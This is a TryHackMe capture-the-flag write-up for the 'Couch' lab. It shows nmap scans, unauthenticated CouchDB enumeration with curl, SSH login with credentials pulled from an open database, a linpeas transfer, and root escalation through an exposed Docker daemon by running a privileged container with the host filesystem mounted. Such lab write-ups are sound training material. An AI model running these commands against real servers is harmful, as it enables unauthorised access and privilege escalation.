THM Writeup – Couch
Hack into a vulnerable database server that collects and stores data in JSON-based document formats, in this semi-guided challenge.
Add IP address to your hosts
file:
echo '10.10.94.140 couch.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv couch.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
5984/tcp open couchdb syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,5984 couch.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
| 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (EdDSA)
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Now you can answer few questions:
Scan the machine. How many ports are open?
What is the database management system installed on the server?
What port is the database management system running on?
What is the version of the management system installed on the server?
At this point I googled “couchdb hacking tips” and found this amazing website.
Enumerate couchdb
using nmap
:
root@ip-10-10-234-252:~# nmap -sV --script couchdb-databases,couchdb-stats -p 5984 couch.thm
Starting Nmap 7.60 ( https://nmap.org ) at 2022-02-09 10:14 GMT
Nmap scan report for couch.thm (10.10.94.140)
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
| couchdb-databases:
| 1 = _replicator
| 2 = _users
| 3 = couch
| 4 = secret
| 5 = test_suite_db
|_ 6 = test_suite_db2
| couchdb-stats:
| httpd_status_codes
| 412 (number of HTTP 412 Precondition Failed responses)
| current
| sum
| 400 (number of HTTP 400 Bad Request responses)
| current = 10.0
| sum = 10.0
| 405 (number of HTTP 405 Method Not Allowed responses)
| current = 18.0
| sum = 18.0
| 201 (number of HTTP 201 Created responses)
| current
| sum
| 301 (number of HTTP 301 Moved Permanently responses)
| current
| sum
| 401 (number of HTTP 401 Unauthorized responses)
| current
| sum
| 500 (number of HTTP 500 Internal Server Error responses)
| current
| sum
| 403 (number of HTTP 403 Forbidden responses)
| current
| sum
| 409 (number of HTTP 409 Conflict responses)
| current
| sum
| 304 (number of HTTP 304 Not Modified responses)
| current
| sum
| 404 (number of HTTP 404 Not Found responses)
| current = 3.0
| sum = 3.0
| 202 (number of HTTP 202 Accepted responses)
| current
| sum
| 200 (number of HTTP 200 OK responses)
| current = 6.0
| sum = 6.0
| couchdb
| request_time (length of a request inside CouchDB without MochiWeb)
| current = 31.139
| sum = 31.139
| auth_cache_hits (number of authentication cache hits)
| current
| sum
| open_databases (number of open databases)
| current
| sum
| database_reads (number of times a document was read from a database)
| current
| sum
| database_writes (number of times a database was changed)
| current
| sum
| open_os_files (number of file descriptors CouchDB has open)
| current
| sum
| auth_cache_misses (number of authentication cache misses)
| current
| sum
| httpd_request_methods
| POST (number of HTTP POST requests)
| current = 3.0
| sum = 3.0
| PUT (number of HTTP PUT requests)
| current
| sum
| DELETE (number of HTTP DELETE requests)
| current
| sum
| HEAD (number of HTTP HEAD requests)
| current
| sum
| COPY (number of HTTP COPY requests)
| current
| sum
| GET (number of HTTP GET requests)
| current = 20.0
| sum = 20.0
| httpd
| requests (number of HTTP requests)
| current = 39.0
| sum = 39.0
| clients_requesting_changes (number of clients for continuous _changes)
| current
| sum
| temporary_view_reads (number of temporary view reads)
| current
| sum
| bulk_requests (number of bulk requests)
| current
| sum
| view_reads (number of view reads)
| current
| sum
|_ Authentication : NOT enabled ('admin party')
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
Now we know:
- names of databases
- authentication is not enabled
Manual enumeration:
root@ip-10-10-234-252:~# curl http://couch.thm:5984
{"couchdb":"Welcome","uuid":"ef680bb740692240059420b2c17db8f3","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
The response we received is a prove that authentication is not enabled otherwise we would receive a 401 Unauthorized error – you can also use a browser for this:
We already know all the present couch databases from nmap’s script scan, this is just another way how to get them:
root@ip-10-10-234-252:~# curl http://couch.thm:5984/_all_dbs
["_replicator","_users","couch","secret","test_suite_db","test_suite_db2"]
Again, you can also do it in a browser:
To find out web administration path I googled couchdb web admin path
and found the answer at this site:
Browse to http://couch.thm:5984/_utils/ and you’ll enter web administration:
Now answer these questions:
What is the path for the web administration tool for this database management system?
What is the path to list all databases in the web browser of the database management system?
To find out credentials go back to web administration (http://couch.thm:5984/_utils/) and click secret
database:
Now click the key (“a1230dd69…”):
You found answer for this question:
What are the credentials found in the web administration tool?
With the credentials we found, try to login via SSH:
root@ip-10-10-234-252:~# ssh [REDACTED]@couch.thm
The authenticity of host 'couch.thm (10.10.94.140)' can't be established.
ECDSA key fingerprint is SHA256:TtfUUNS6Ivob4iQ7X414863lCCc1q2YyzzycIkRTZ3k.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'couch.thm,10.10.94.140' (ECDSA) to the list of known hosts.
[REDACTED]@couch.thm's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Fri Dec 18 15:25:27 2020 from 192.168.85.1
[REDACTED]@ubuntu:~$
We are successfully logged in…
Read the user flag:
[REDACTED]@ubuntu:~$ cat user.txt
THM{[REDACTED]}
Try basic privilege escalation vectors to obtain root:
sudo -l
cat /etc/crontab
getcap -r 2>/dev/null
find / -type f -perm -4000 2>/dev/null
I had no luck with these so I decided to transfer linpeas.sh
to the target machine.
Download linpeas.sh
to your attacking machine:
root@ip-10-10-234-252:~# wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh
Upload it to the target machine:
root@ip-10-10-234-252:~# scp linpeas.sh [REDACTED]@couch.thm:/home/[REDACTED]
[REDACTED]@couch.thm's password:
linpeas.sh 100% 745KB 101.0MB/s 00:00
Run linpeas.sh
to enumerate the machine:
[REDACTED]@ubuntu:~$ sh linpeas.sh | tee -a linpeas.log
Review the log file:
[REDACTED]@ubuntu:~$ less -R linpeas.log
I checked many different things that was suggested by the script with no luck, then I noticed:
the hidden file .bash_history
is not empty – I could have noticed this before I ran the enumeration script…
So check that out – almost at the end I found this:
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
Let’s see if we can run this privileged container – if so, we’ll be root user with the disk mounted at /mnt
– run the same command:
[REDACTED]@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ #
Brilliant, we are in the container and we are root user.
So now we just need to read the root flag:
/ # cat /mnt/root/root.txt
THM{[REDACTED]}
Do you like this writeup? Check out other THM Writeups.